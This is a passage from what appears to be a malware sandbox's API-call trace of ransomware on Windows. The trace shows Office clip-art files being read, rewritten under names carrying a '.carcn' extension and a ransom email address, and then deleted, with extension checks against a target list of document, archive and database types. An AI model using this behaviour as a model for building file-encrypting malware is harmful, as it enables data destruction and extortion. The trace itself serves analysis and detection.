lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.902] SetEndOfFile (hFile=0x558) returned 1 [0268.153] CloseHandle (hObject=0x558) returned 1 [0268.158] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.158] SetEndOfFile (hFile=0x370) returned 1 [0268.161] CloseHandle (hObject=0x370) returned 1 [0268.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0268.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.166] lstrlenW (lpString=".doc") returned 4 [0268.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.166] lstrlenW (lpString=".docx") returned 5 [0268.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.166] lstrlenW (lpString=".pdf") returned 4 [0268.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.166] lstrlenW (lpString=".xls") returned 4 [0268.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.166] lstrlenW (lpString=".xlsx") returned 5 [0268.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.166] lstrlenW (lpString=".ppt") returned 4 [0268.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.166] lstrlenW (lpString=".zip") returned 4 [0268.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.166] lstrlenW (lpString=".rar") returned 4 [0268.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.166] lstrlenW (lpString=".bz2") returned 4 [0268.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.166] lstrlenW (lpString=".7z") returned 3 [0268.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.167] lstrlenW (lpString=".dbf") returned 4 [0268.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.167] lstrlenW (lpString=".1cd") returned 4 [0268.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.167] lstrlenW (lpString=".jpg") returned 4 [0268.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.167] lstrlenW (lpString=".doc") returned 4 [0268.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.167] lstrlenW (lpString=".docx") returned 5 [0268.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.167] lstrlenW (lpString=".pdf") returned 4 [0268.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.167] lstrlenW (lpString=".xls") returned 4 [0268.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.167] lstrlenW (lpString=".xlsx") returned 5 [0268.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.167] lstrlenW (lpString=".ppt") returned 4 [0268.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.168] lstrlenW (lpString=".zip") returned 4 [0268.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.168] lstrlenW (lpString=".rar") returned 4 [0268.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.168] lstrlenW (lpString=".bz2") returned 4 [0268.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.168] lstrlenW (lpString=".7z") returned 3 [0268.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.168] lstrlenW (lpString=".dbf") returned 4 [0268.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.168] lstrlenW (lpString=".1cd") returned 4 [0268.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0268.168] lstrlenW (lpString=".jpg") returned 4 [0268.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.168] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.168] lstrlenW (lpString="BL00985_.WMF") returned 12 [0268.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0268.170] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3768) returned 1 [0268.170] CloseHandle (hObject=0x370) returned 1 [0268.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0268.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0268.170] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.171] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0268.171] GetLastError () returned 0x0 [0268.172] ReadFile (in: hFile=0x370, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xeb8, lpOverlapped=0x0) returned 1 [0268.176] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec0, lpOverlapped=0x0) returned 1 [0268.177] ReadFile (in: hFile=0x370, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.177] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.177] SetEndOfFile (hFile=0x558) returned 1 [0268.177] CloseHandle (hObject=0x558) returned 1 [0268.180] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.180] SetEndOfFile (hFile=0x370) returned 1 [0268.188] CloseHandle (hObject=0x370) returned 1 [0268.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0268.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.455] lstrlenW (lpString=".doc") returned 4 [0268.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.455] lstrlenW (lpString=".docx") returned 5 [0268.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.455] lstrlenW (lpString=".pdf") returned 4 [0268.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.455] lstrlenW (lpString=".xls") returned 4 [0268.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.455] lstrlenW (lpString=".xlsx") returned 5 [0268.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.455] lstrlenW (lpString=".ppt") returned 4 [0268.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.455] lstrlenW (lpString=".zip") returned 4 [0268.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.456] lstrlenW (lpString=".rar") returned 4 [0268.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.456] lstrlenW (lpString=".bz2") returned 4 [0268.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.456] lstrlenW (lpString=".7z") returned 3 [0268.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.456] lstrlenW (lpString=".dbf") returned 4 [0268.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.456] lstrlenW (lpString=".1cd") returned 4 [0268.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.456] lstrlenW (lpString=".jpg") returned 4 [0268.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.456] lstrlenW (lpString=".doc") returned 4 [0268.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.456] lstrlenW (lpString=".docx") returned 5 [0268.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.456] lstrlenW (lpString=".pdf") returned 4 [0268.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.456] lstrlenW (lpString=".xls") returned 4 [0268.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.457] lstrlenW (lpString=".xlsx") returned 5 [0268.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.457] lstrlenW (lpString=".ppt") returned 4 [0268.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.457] lstrlenW (lpString=".zip") returned 4 [0268.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.457] lstrlenW (lpString=".rar") returned 4 [0268.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.457] lstrlenW (lpString=".bz2") returned 4 [0268.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.457] lstrlenW (lpString=".7z") returned 3 [0268.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.457] lstrlenW (lpString=".dbf") returned 4 [0268.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.457] lstrlenW (lpString=".1cd") returned 4 [0268.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0268.457] lstrlenW (lpString=".jpg") returned 4 [0268.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.457] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.458] lstrlenW (lpString="BS00078_.WMF") returned 12 [0268.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0268.829] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1444) returned 1 [0268.829] CloseHandle (hObject=0x374) returned 1 [0268.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0268.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0268.830] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.830] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0268.830] GetLastError () returned 0x0 [0268.830] ReadFile (in: hFile=0x374, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x5a4, lpOverlapped=0x0) returned 1 [0269.294] WriteFile (in: hFile=0x544, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0269.788] ReadFile (in: hFile=0x374, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.788] WriteFile (in: hFile=0x544, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.788] SetEndOfFile (hFile=0x544) returned 1 [0269.801] CloseHandle (hObject=0x544) returned 1 [0269.802] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.802] SetEndOfFile (hFile=0x374) returned 1 [0269.819] CloseHandle (hObject=0x374) returned 1 [0269.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0270.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.238] lstrlenW (lpString=".doc") returned 4 [0270.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.238] lstrlenW (lpString=".docx") returned 5 [0270.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.238] lstrlenW (lpString=".pdf") returned 4 [0270.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.238] lstrlenW (lpString=".xls") returned 4 [0270.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.287] lstrlenW (lpString=".xlsx") returned 5 [0270.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.287] lstrlenW (lpString=".ppt") returned 4 [0270.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.296] lstrlenW (lpString=".zip") returned 4 [0270.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.305] lstrlenW (lpString=".rar") returned 4 [0270.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.305] lstrlenW (lpString=".bz2") returned 4 [0270.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.305] lstrlenW (lpString=".7z") returned 3 [0270.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.305] lstrlenW (lpString=".dbf") returned 4 [0270.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.305] lstrlenW (lpString=".1cd") returned 4 [0270.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.305] lstrlenW (lpString=".jpg") returned 4 [0270.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.306] lstrlenW (lpString=".doc") returned 4 [0270.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.306] lstrlenW (lpString=".docx") returned 5 [0270.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.306] lstrlenW (lpString=".pdf") returned 4 [0270.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.306] lstrlenW (lpString=".xls") returned 4 [0270.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.306] lstrlenW (lpString=".xlsx") returned 5 [0270.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.306] lstrlenW (lpString=".ppt") returned 4 [0270.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.306] lstrlenW (lpString=".zip") returned 4 [0270.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.306] lstrlenW (lpString=".rar") returned 4 [0270.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.306] lstrlenW (lpString=".bz2") returned 4 [0270.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.306] lstrlenW (lpString=".7z") returned 3 [0270.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.307] lstrlenW (lpString=".dbf") returned 4 [0270.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.307] lstrlenW (lpString=".1cd") returned 4 [0270.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0270.307] lstrlenW (lpString=".jpg") returned 4 [0270.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.307] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.307] lstrlenW (lpString="BS01634_.WMF") returned 12 [0270.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0270.665] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3494) returned 1 [0270.665] CloseHandle (hObject=0x54c) returned 1 [0270.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0270.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0270.666] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.666] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0270.667] GetLastError () returned 0x0 [0270.667] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xda6, lpOverlapped=0x0) returned 1 [0270.757] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0270.758] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.758] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.759] SetEndOfFile (hFile=0x55c) returned 1 [0270.759] CloseHandle (hObject=0x55c) returned 1 [0270.759] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | 